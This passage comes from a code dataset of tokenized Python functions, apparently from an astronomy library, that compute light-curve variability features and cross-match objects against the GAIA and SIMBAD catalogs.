gaia_objlist['<STR_LIT>'][<NUM_LIT:1>]<EOL>gaia_closest_gmagdiff = (<EOL>gaia_objlist['<STR_LIT>'][<NUM_LIT:0>] -<EOL>gaia_objlist['<STR_LIT>'][<NUM_LIT:1>]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % (objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']))<EOL>gaia_nneighbors = <NUM_LIT:0><EOL>gaia_status = (<EOL>'<STR_LIT>'<EOL>)<EOL>gaia_ids = gaia_objlist['<STR_LIT>']<EOL>gaia_mags = gaia_objlist['<STR_LIT>']<EOL>gaia_parallaxes = gaia_objlist['<STR_LIT>']<EOL>gaia_parallax_errs = gaia_objlist['<STR_LIT>']<EOL>gaia_pmra = gaia_objlist['<STR_LIT>']<EOL>gaia_pmra_err = gaia_objlist['<STR_LIT>']<EOL>gaia_pmdecl = gaia_objlist['<STR_LIT>']<EOL>gaia_pmdecl_err = gaia_objlist['<STR_LIT>']<EOL>gaia_absolute_mags = magnitudes.absolute_gaia_magnitude(<EOL>gaia_mags, gaia_parallaxes<EOL>)<EOL>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>gaiak_colors = gaia_mags - objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gaiak_colors = None<EOL><DEDENT>gaia_dists = gaia_objlist['<STR_LIT>']<EOL>gaia_closest_distarcsec = np.nan<EOL>gaia_closest_gmagdiff = np.nan<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(gaia_matchdist_arcsec,<EOL>objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>'],<EOL>gaia_objlist['<STR_LIT>'][<NUM_LIT:0>]))<EOL>gaia_status = ('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(gaia_matchdist_arcsec,<EOL>gaia_objlist['<STR_LIT>'][<NUM_LIT:0>]))<EOL>gaia_nneighbors = np.nan<EOL>gaia_ids = gaia_objlist['<STR_LIT>']<EOL>gaia_mags = gaia_objlist['<STR_LIT>']<EOL>gaia_parallaxes = gaia_objlist['<STR_LIT>']<EOL>gaia_parallax_errs = gaia_objlist['<STR_LIT>']<EOL>gaia_pmra = gaia_objlist['<STR_LIT>']<EOL>gaia_pmra_err = gaia_objlist['<STR_LIT>']<EOL>gaia_pmdecl = gaia_objlist['<STR_LIT>']<EOL>gaia_pmdecl_err = gaia_objlist['<STR_LIT>']<EOL>gaia_absolute_mags = magnitudes.absolute_gaia_magnitude(<EOL>gaia_mags, gaia_parallaxes<EOL>)<EOL>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>gaiak_colors = gaia_mags - objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gaiak_colors = None<EOL><DEDENT>gaia_dists = gaia_objlist['<STR_LIT>']<EOL>gaia_closest_distarcsec = np.nan<EOL>gaia_closest_gmagdiff = np.nan<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>gaia_status = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>gaia_nneighbors = np.nan<EOL>gaia_ids = None<EOL>gaia_mags = None<EOL>gaia_xypos = None<EOL>gaia_parallaxes = None<EOL>gaia_parallax_errs = None<EOL>gaia_pmra = None<EOL>gaia_pmra_err = None<EOL>gaia_pmdecl = None<EOL>gaia_pmdecl_err = None<EOL>gaia_absolute_mags = None<EOL>gaiak_colors = None<EOL>gaia_dists = None<EOL>gaia_closest_distarcsec = np.nan<EOL>gaia_closest_gmagdiff = np.nan<EOL><DEDENT>resultdict.update(<EOL>{'<STR_LIT>':gaia_status,<EOL>'<STR_LIT>':gaia_nneighbors,<EOL>'<STR_LIT>':gaia_ids,<EOL>'<STR_LIT>':gaia_xypos,<EOL>'<STR_LIT>':gaia_mags,<EOL>'<STR_LIT>':gaia_parallaxes,<EOL>'<STR_LIT>':gaia_parallax_errs,<EOL>'<STR_LIT>':gaia_pmra,<EOL>'<STR_LIT>':gaia_pmra_err,<EOL>'<STR_LIT>':gaia_pmdecl,<EOL>'<STR_LIT>':gaia_pmdecl_err,<EOL>'<STR_LIT>':gaia_absolute_mags,<EOL>'<STR_LIT>':gaiak_colors,<EOL>'<STR_LIT>':gaia_dists,<EOL>'<STR_LIT>':gaia_closest_distarcsec,<EOL>'<STR_LIT>':gaia_closest_gmagdiff}<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % (objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']))<EOL>resultdict.update(<EOL>{'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan}<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>resultdict.update(<EOL>{'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan}<EOL>)<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and objectinfo['<STR_LIT>'] is not None and<EOL>search_simbad):<EOL><INDENT>simbad_result = simbad.objectnames_conesearch(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>neighbor_radius_arcsec,<EOL>verbose=verbose,<EOL>timeout=gaia_submit_timeout,<EOL>maxtimeout=gaia_max_timeout,<EOL>maxtries=gaia_submit_tries,<EOL>complete_query_later=complete_query_later<EOL>)<EOL><DEDENT>else:<EOL><INDENT>simbad_result = None<EOL><DEDENT>if (simbad_result and<EOL>simbad_result['<STR_LIT:result>'] and<EOL>os.path.exists(simbad_result['<STR_LIT:result>'])):<EOL><INDENT>with gzip.open(simbad_result['<STR_LIT:result>'],'<STR_LIT:rb>') as infd:<EOL><INDENT>try:<EOL><INDENT>simbad_objectnames = np.genfromtxt(<EOL>infd,<EOL>names=True,<EOL>delimiter='<STR_LIT:U+002C>',<EOL>dtype='<STR_LIT>',<EOL>usecols=(<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>),<EOL>comments='<STR_LIT:?>',<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>simbad_objectnames = []<EOL><DEDENT>simbad_objectnames = np.atleast_1d(simbad_objectnames)<EOL>if simbad_objectnames.size > <NUM_LIT:0>:<EOL><INDENT>simbad_mainid = simbad_objectnames['<STR_LIT>'].tolist()<EOL>simbad_allids = simbad_objectnames['<STR_LIT>'].tolist()<EOL>simbad_objtype = simbad_objectnames['<STR_LIT>'].tolist()<EOL>simbad_distarcsec = simbad_objectnames['<STR_LIT>'].tolist()<EOL>simbad_nmatches = len(simbad_mainid)<EOL>simbad_mainid = [x.replace('<STR_LIT:\">','<STR_LIT>') for x in simbad_mainid]<EOL>simbad_allids = [x.replace('<STR_LIT:\">','<STR_LIT>') for x in simbad_allids]<EOL>simbad_objtype = [x.replace('<STR_LIT:\">','<STR_LIT>') for x in simbad_objtype]<EOL>resultdict.update({<EOL>'<STR_LIT>':simbad_nmatches,<EOL>'<STR_LIT>':simbad_mainid,<EOL>'<STR_LIT>':simbad_objtype,<EOL>'<STR_LIT>':simbad_allids,<EOL>'<STR_LIT>':simbad_distarcsec<EOL>})<EOL>if simbad_nmatches > <NUM_LIT:1>:<EOL><INDENT>resultdict['<STR_LIT>'] = (<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>resultdict['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if simbad_distarcsec[<NUM_LIT:0>] < gaia_matchdist_arcsec:<EOL><INDENT>resultdict.update({<EOL>'<STR_LIT>':simbad_mainid[<NUM_LIT:0>],<EOL>'<STR_LIT>':simbad_objtype[<NUM_LIT:0>],<EOL>'<STR_LIT>':simbad_allids[<NUM_LIT:0>],<EOL>'<STR_LIT>':simbad_distarcsec[<NUM_LIT:0>],<EOL>'<STR_LIT>':'<STR_LIT>'<EOL>})<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(gaia_matchdist_arcsec,<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>simbad_mainid[<NUM_LIT:0>],<EOL>simbad_distarcsec[<NUM_LIT:0>]))<EOL>simbad_status = ('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(gaia_matchdist_arcsec,<EOL>simbad_distarcsec[<NUM_LIT:0>]))<EOL>resultdict.update({<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':simbad_status<EOL>})<EOL><DEDENT><DEDENT>else:<EOL><INDENT>resultdict.update({<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>})<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if search_simbad:<EOL><INDENT>simbad_status = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>simbad_status = '<STR_LIT>'<EOL><DEDENT>resultdict.update({<EOL>'<STR_LIT>':simbad_status,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>})<EOL><DEDENT>return resultdict<EOL>", "docstring": "Gets several neighbor, GAIA, and SIMBAD features:\n\n    From the KD-Tree in the given light curve catalog the object is in:\n    `lclist_kdtree`:\n\n    - distance to closest neighbor in arcsec\n    - total number of all neighbors within 2 x `neighbor_radius_arcsec`\n\n    From the GAIA DR2 catalog:\n\n    - distance to closest neighbor in arcsec\n    - total number of all neighbors within 2 x `neighbor_radius_arcsec`\n    - gets the parallax for the object and neighbors\n    - calculates the absolute GAIA mag and `G-K` color for use in CMDs\n    - gets the proper motion in RA/Dec if available\n\n    From the SIMBAD catalog:\n\n    - the name of the object\n    - the type of the object\n\n    Parameters\n    ----------\n\n    objectinfo : dict\n        This is the objectinfo dict from an object's light curve. This must\n        contain at least the following keys::\n\n            {'ra': the right ascension of the object,\n             'decl': the declination of the object}\n\n    lclist_kdtree : scipy.spatial.cKDTree object\n        This is a KD-Tree built on the Cartesian xyz coordinates from (ra, dec)\n        of all objects in the same field as this object. It is similar to that\n        produced by :py:func:`astrobase.lcproc.catalogs.make_lclist`, and is\n        used to carry out the spatial search required to find neighbors for this\n        object.\n\n    neighbor_radius_arcsec : float\n        The maximum radius in arcseconds around this object to search for\n        neighbors in both the light curve catalog and in the GAIA DR2 catalog.\n\n    gaia_matchdist_arcsec : float\n        The maximum distance in arcseconds to use for a GAIA cross-match to this\n        object.\n\n    verbose : bool\n        If True, indicates progress and warns of problems.\n\n    gaia_submit_timeout : float\n        Sets the timeout in seconds to use when submitting a request to look up\n        the object's information to the GAIA service. Note that if `fast_mode`\n        is set, this is ignored.\n\n    gaia_submit_tries : int\n        Sets the maximum number of times the GAIA services will be contacted to\n        obtain this object's information. If `fast_mode` is set, this is\n        ignored, and the services will be contacted only once (meaning that a\n        failure to respond will be silently ignored and no GAIA data will be\n        added to the checkplot's objectinfo dict).\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    search_simbad : bool\n        If this is True, searches for objects in SIMBAD at this object's\n        location and gets the object's SIMBAD main ID, type, and stellar\n        classification if available.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with neighbor, GAIA, and SIMBAD features.", "id": "f14717:m4"}
{"signature": "def stetson_jindex(ftimes, fmags, ferrs, weightbytimediff=False):", "body": "ndet = len(fmags)<EOL>if ndet > <NUM_LIT:9>:<EOL><INDENT>medmag = npmedian(fmags)<EOL>delta_prefactor = (ndet/(ndet - <NUM_LIT:1>))<EOL>sigma_i = delta_prefactor*(fmags - medmag)/ferrs<EOL>sigma_j = nproll(sigma_i,<NUM_LIT:1>)<EOL>if weightbytimediff:<EOL><INDENT>difft = npdiff(ftimes)<EOL>deltat = npmedian(difft)<EOL>weights_i = npexp(- difft/deltat )<EOL>products = (weights_i*sigma_i[<NUM_LIT:1>:]*sigma_j[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>products = (sigma_i*sigma_j)[<NUM_LIT:1>:]<EOL><DEDENT>stetsonj = (<EOL>npsum(npsign(products) * npsqrt(npabs(products)))<EOL>) / ndet<EOL>return stetsonj<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return npnan<EOL><DEDENT>", "docstring": "This calculates the Stetson index for the magseries, based on consecutive\n    pairs of observations.\n\n    Based on Nicole Loncke's work for her Planets and Life certificate at\n    Princeton in 2014.\n\n    Parameters\n    ----------\n\n    ftimes,fmags,ferrs : np.array\n        The input mag/flux time-series with all non-finite elements removed.\n\n    weightbytimediff : bool\n        If this is True, the Stetson index for any pair of mags will be\n        reweighted by the difference in times between them using the scheme in\n        Fruth+ 2012 and Zhange+ 2003 (as seen in Sokolovsky+ 2017)::\n\n            w_i = exp(- (t_i+1 - t_i)/ delta_t )\n\n    Returns\n    -------\n\n    float\n        The calculated Stetson J variability index.", "id": "f14718:m0"}
{"signature": "def stetson_kindex(fmags, ferrs):", "body": "<EOL>if ferrs is None:<EOL><INDENT>ferrs = npfull_like(fmags, <NUM_LIT>)<EOL><DEDENT>ndet = len(fmags)<EOL>if ndet > <NUM_LIT:9>:<EOL><INDENT>medmag = npmedian(fmags)<EOL>delta_prefactor = (ndet/(ndet - <NUM_LIT:1>))<EOL>sigma_i = delta_prefactor*(fmags - medmag)/ferrs<EOL>stetsonk = (<EOL>npsum(npabs(sigma_i))/(npsqrt(npsum(sigma_i*sigma_i))) *<EOL>(ndet**(-<NUM_LIT:0.5>))<EOL>)<EOL>return stetsonk<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return npnan<EOL><DEDENT>", "docstring": "This calculates the Stetson K index (a robust measure of the kurtosis).\n\n    Parameters\n    ----------\n\n    fmags,ferrs : np.array\n        The input mag/flux time-series to process. Must have no non-finite\n        elems.\n\n    Returns\n    -------\n\n    float\n        The Stetson K variability index.", "id": "f14718:m1"}
{"signature": "def lightcurve_moments(ftimes, fmags, ferrs):", "body": "ndet = len(fmags)<EOL>if ndet > <NUM_LIT:9>:<EOL><INDENT>series_median = npmedian(fmags)<EOL>series_wmean = (<EOL>npsum(fmags*(<NUM_LIT:1.0>/(ferrs*ferrs)))/npsum(<NUM_LIT:1.0>/(ferrs*ferrs))<EOL>)<EOL>series_mad = npmedian(npabs(fmags - series_median))<EOL>series_stdev = <NUM_LIT>*series_mad<EOL>series_skew = spskew(fmags)<EOL>series_kurtosis = spkurtosis(fmags)<EOL>series_above1std = len(fmags[fmags > (series_median + series_stdev)])<EOL>series_below1std = len(fmags[fmags < (series_median - series_stdev)])<EOL>series_beyond1std = (series_above1std + series_below1std)/float(ndet)<EOL>series_mag_percentiles = nppercentile(<EOL>fmags,<EOL>[<NUM_LIT>,<NUM_LIT:10>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>]<EOL>)<EOL>return {<EOL>'<STR_LIT>':series_median,<EOL>'<STR_LIT>':series_wmean,<EOL>'<STR_LIT>':series_mad,<EOL>'<STR_LIT>':series_stdev,<EOL>'<STR_LIT>':series_skew,<EOL>'<STR_LIT>':series_kurtosis,<EOL>'<STR_LIT>':series_beyond1std,<EOL>'<STR_LIT>':series_mag_percentiles,<EOL>'<STR_LIT>': series_mag_percentiles[<NUM_LIT:8>] - series_mag_percentiles[<NUM_LIT:3>],<EOL>}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "This calculates the weighted mean, stdev, median, MAD, percentiles, skew,\n    kurtosis, fraction of LC beyond 1-stdev, and IQR.\n\n    Parameters\n    ----------\n\n    ftimes,fmags,ferrs : np.array\n        The input mag/flux time-series with all non-finite elements removed.\n\n    Returns\n    -------\n\n    dict\n        A dict with all of the light curve moments calculated.", "id": "f14718:m2"}
{"signature": "def lightcurve_flux_measures(ftimes, fmags, ferrs, magsarefluxes=False):", "body": "ndet = len(fmags)<EOL>if ndet > <NUM_LIT:9>:<EOL><INDENT>if magsarefluxes:<EOL><INDENT>series_fluxes = fmags<EOL><DEDENT>else:<EOL><INDENT>series_fluxes = <NUM_LIT>**(-<NUM_LIT>*fmags)<EOL><DEDENT>series_flux_median = npmedian(series_fluxes)<EOL>series_flux_percent_amplitude = (<EOL>npmax(npabs(series_fluxes))/series_flux_median<EOL>)<EOL>series_flux_percentiles = nppercentile(<EOL>series_fluxes,<EOL>[<NUM_LIT>,<NUM_LIT:10>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>]<EOL>)<EOL>series_frat_595 = (<EOL>series_flux_percentiles[-<NUM_LIT:1>] - series_flux_percentiles[<NUM_LIT:0>]<EOL>)<EOL>series_frat_1090 = (<EOL>series_flux_percentiles[-<NUM_LIT:2>] - series_flux_percentiles[<NUM_LIT:1>]<EOL>)<EOL>series_frat_175825 = (<EOL>series_flux_percentiles[-<NUM_LIT:3>] - series_flux_percentiles[<NUM_LIT:2>]<EOL>)<EOL>series_frat_2575 = (<EOL>series_flux_percentiles[-<NUM_LIT:4>] - series_flux_percentiles[<NUM_LIT:3>]<EOL>)<EOL>series_frat_325675 = (<EOL>series_flux_percentiles[-<NUM_LIT:5>] - series_flux_percentiles[<NUM_LIT:4>]<EOL>)<EOL>series_frat_4060 = (<EOL>series_flux_percentiles[-<NUM_LIT:6>] - series_flux_percentiles[<NUM_LIT:5>]<EOL>)<EOL>series_flux_percentile_ratio_mid20 = series_frat_4060/series_frat_595<EOL>series_flux_percentile_ratio_mid35 = series_frat_325675/series_frat_595<EOL>series_flux_percentile_ratio_mid50 = series_frat_2575/series_frat_595<EOL>series_flux_percentile_ratio_mid65 = series_frat_175825/series_frat_595<EOL>series_flux_percentile_ratio_mid80 = series_frat_1090/series_frat_595<EOL>series_percent_difference_flux_percentile = (<EOL>series_frat_595/series_flux_median<EOL>)<EOL>series_percentile_magdiff = -<NUM_LIT>*nplog10(<EOL>series_percent_difference_flux_percentile<EOL>)<EOL>return {<EOL>'<STR_LIT>':series_flux_median,<EOL>'<STR_LIT>':series_flux_percent_amplitude,<EOL>'<STR_LIT>':series_flux_percentiles,<EOL>'<STR_LIT>':series_flux_percentile_ratio_mid20,<EOL>'<STR_LIT>':series_flux_percentile_ratio_mid35,<EOL>'<STR_LIT>':series_flux_percentile_ratio_mid50,<EOL>'<STR_LIT>':series_flux_percentile_ratio_mid65,<EOL>'<STR_LIT>':series_flux_percentile_ratio_mid80,<EOL>'<STR_LIT>':series_percentile_magdiff,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "This calculates percentiles and percentile ratios of the flux.\n\n    Parameters\n    ----------\n\n    ftimes,fmags,ferrs : np.array\n        The input mag/flux time-series with all non-finite elements removed.\n\n    magsarefluxes : bool\n        If the `fmags` array actually contains fluxes, will not convert `mags`\n        to fluxes before calculating the percentiles.\n\n    Returns\n    -------\n\n    dict\n        A dict with all of the light curve flux percentiles and percentile\n        ratios calculated.", "id": "f14718:m3"}
{"signature": "def lightcurve_ptp_measures(ftimes, fmags, ferrs):", "body": "ndet = len(fmags)<EOL>if ndet > <NUM_LIT:9>:<EOL><INDENT>timediffs = npdiff(ftimes)<EOL>nzind = npnonzero(timediffs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>ndet = ftimes.size<EOL>timediffs = npdiff(ftimes)<EOL>p2p_abs_magdiffs = npabs(npdiff(fmags))<EOL>p2p_squared_magdiffs = npdiff(fmags)*npdiff(fmags)<EOL>robstd = npmedian(npabs(fmags - npmedian(fmags)))*<NUM_LIT><EOL>robvar = robstd*robstd<EOL>eta_robust = npmedian(p2p_abs_magdiffs)/robvar<EOL>eta_robust = eta_robust/(ndet - <NUM_LIT:1.0>)<EOL>eta_normal = npsum(p2p_squared_magdiffs)/npvar(fmags)<EOL>eta_normal = eta_normal/(ndet - <NUM_LIT:1.0>)<EOL>timeweights = <NUM_LIT:1.0>/(timediffs*timediffs)<EOL>eta_uneven_normal = (<EOL>(npsum(timeweights*p2p_squared_magdiffs) /<EOL>(npvar(fmags) * npsum(timeweights)) ) *<EOL>npmean(timeweights) *<EOL>(ftimes.max() - ftimes.min())*(ftimes.max() - ftimes.min())<EOL>)<EOL>eta_uneven_robust = (<EOL>(npsum(timeweights*p2p_abs_magdiffs) /<EOL>(robvar * npsum(timeweights)) ) *<EOL>npmedian(timeweights) *<EOL>(ftimes[-<NUM_LIT:1>] - ftimes[<NUM_LIT:0>])*(ftimes[-<NUM_LIT:1>] - ftimes[<NUM_LIT:0>])<EOL>)<EOL>return {<EOL>'<STR_LIT>':eta_normal,<EOL>'<STR_LIT>':eta_robust,<EOL>'<STR_LIT>':eta_uneven_normal,<EOL>'<STR_LIT>':eta_uneven_robust<EOL>}<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "This calculates various point-to-point measures (`eta` in Kim+ 2014).\n\n    Parameters\n    ----------\n\n    ftimes,fmags,ferrs : np.array\n        The input mag/flux time-series with all non-finite elements removed.\n\n    Returns\n    -------\n\n    dict\n        A dict with values of the point-to-point measures, including the `eta`\n        variability index (often used as its inverse `inveta` to have the same\n        sense as increasing variability index -> more likely a variable star).", "id": "f14718:m4"}
{"signature": "def nonperiodic_lightcurve_features(times, mags, errs, magsarefluxes=False):", "body": "<EOL>finiteind = npisfinite(times) & npisfinite(mags) & npisfinite(errs)<EOL>ftimes, fmags, ferrs = times[finiteind], mags[finiteind], errs[finiteind]<EOL>nzind = npnonzero(ferrs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>ndet = len(fmags)<EOL>if ndet > <NUM_LIT:9>:<EOL><INDENT>moments = lightcurve_moments(ftimes, fmags, ferrs)<EOL>fluxmeasures = lightcurve_flux_measures(ftimes, fmags, ferrs,<EOL>magsarefluxes=magsarefluxes)<EOL>ptpmeasures = lightcurve_ptp_measures(ftimes, fmags, ferrs)<EOL>mintime, maxtime = npmin(ftimes), npmax(ftimes)<EOL>timelength = maxtime - mintime<EOL>series_amplitude = <NUM_LIT:0.5>*(npmax(fmags) - npmin(fmags))<EOL>fitcoeffs = nppolyfit(ftimes, fmags, <NUM_LIT:1>, w=<NUM_LIT:1.0>/(ferrs*ferrs))<EOL>series_linear_slope = fitcoeffs[<NUM_LIT:1>]<EOL>rolled_fmags = nproll(fmags,<NUM_LIT:1>)<EOL>series_magratio = (<EOL>(npmax(fmags) - moments['<STR_LIT>']) / (npmax(fmags) - npmin(fmags) )<EOL>)<EOL>measures = {<EOL>'<STR_LIT>':fmags.size,<EOL>'<STR_LIT>':mintime,<EOL>'<STR_LIT>':maxtime,<EOL>'<STR_LIT>':timelength,<EOL>'<STR_LIT>':series_amplitude,<EOL>'<STR_LIT>':ndet/timelength,<EOL>'<STR_LIT>':series_linear_slope,<EOL>'<STR_LIT>':series_magratio,<EOL>}<EOL>if moments:<EOL><INDENT>measures.update(moments)<EOL><DEDENT>if ptpmeasures:<EOL><INDENT>measures.update(ptpmeasures)<EOL><DEDENT>if fluxmeasures:<EOL><INDENT>measures.update(fluxmeasures)<EOL><DEDENT>return measures<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "This calculates the following nonperiodic features of the light curve,\n    listed in Richards, et al. 2011):\n\n    - amplitude\n    - beyond1std\n    - flux_percentile_ratio_mid20\n    - flux_percentile_ratio_mid35\n    - flux_percentile_ratio_mid50\n    - flux_percentile_ratio_mid65\n    - flux_percentile_ratio_mid80\n    - linear_trend\n    - max_slope\n    - median_absolute_deviation\n    - median_buffer_range_percentage\n    - pair_slope_trend\n    - percent_amplitude\n    - percent_difference_flux_percentile\n    - skew\n    - stdev\n    - timelength\n    - mintime\n    - maxtime\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to process.\n\n    magsarefluxes : bool\n        If True, will treat values in `mags` as fluxes instead of magnitudes.\n\n    Returns\n    -------\n\n    dict\n        A dict containing all of the features listed above.", "id": "f14718:m5"}
{"signature": "def gilliland_cdpp(times, mags, errs,<EOL>windowlength=<NUM_LIT>,<EOL>polyorder=<NUM_LIT:2>,<EOL>binsize=<NUM_LIT>,  <EOL>sigclip=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>**kwargs):", "body": "<EOL>if errs is None:<EOL><INDENT>errs = <NUM_LIT>*mags<EOL><DEDENT>find = npisfinite(times) & npisfinite(mags) & npisfinite(errs)<EOL>ftimes = times[find]<EOL>fmags = mags[find]<EOL>ferrs = errs[find]<EOL>if ftimes.size < (<NUM_LIT:3>*windowlength):<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return npnan<EOL><DEDENT>smoothed = savgol_filter(fmags, windowlength, polyorder, **kwargs)<EOL>subtracted = fmags - smoothed<EOL>stimes, smags, serrs = sigclip_magseries(ftimes, subtracted, ferrs,<EOL>magsarefluxes=magsarefluxes)<EOL>binned = time_bin_magseries_with_errs(stimes, smags, serrs,<EOL>binsize=binsize,<EOL>minbinelems=<NUM_LIT:7>)<EOL>bmags = binned['<STR_LIT>']<EOL>cdpp = npstd(bmags) * <NUM_LIT><EOL>return cdpp<EOL>", "docstring": "This calculates the CDPP of a timeseries using the method in the paper:\n\n    Gilliland, R. L., Chaplin, W. J., Dunham, E. W., et al. 2011, ApJS, 197, 6\n    (http://adsabs.harvard.edu/abs/2011ApJS..197....6G)\n\n    The steps are:\n\n    - pass the time-series through a Savitsky-Golay filter.\n\n      - we use `scipy.signal.savgol_filter`, `**kwargs` are passed to this.\n\n      - also see: http://scipy.github.io/old-wiki/pages/Cookbook/SavitzkyGolay.\n\n      - the `windowlength` is the number of LC points to use (Kepler uses 2 days\n        = (1440 minutes/day / 30 minutes/LC point) x 2 days = 96 -> 97 LC\n        points).\n\n      - the `polyorder` is a quadratic by default.\n\n\n    - subtract the smoothed time-series from the actual light curve.\n\n    - sigma clip the remaining LC.\n\n    - get the binned mag series by averaging over 6.5 hour bins, only retaining\n      bins with at least 7 points.\n\n    - the standard deviation of the binned averages is the CDPP.\n\n    - multiply this by 1.168 to correct for over-subtraction of white-noise.\n\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to calculate CDPP for.\n\n    windowlength : int\n        The smoothing window size to use.\n\n    polyorder : int\n        The polynomial order to use in the Savitsky-Golay smoothing.\n\n    binsize : int\n        The bin size to use for binning the light curve.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in 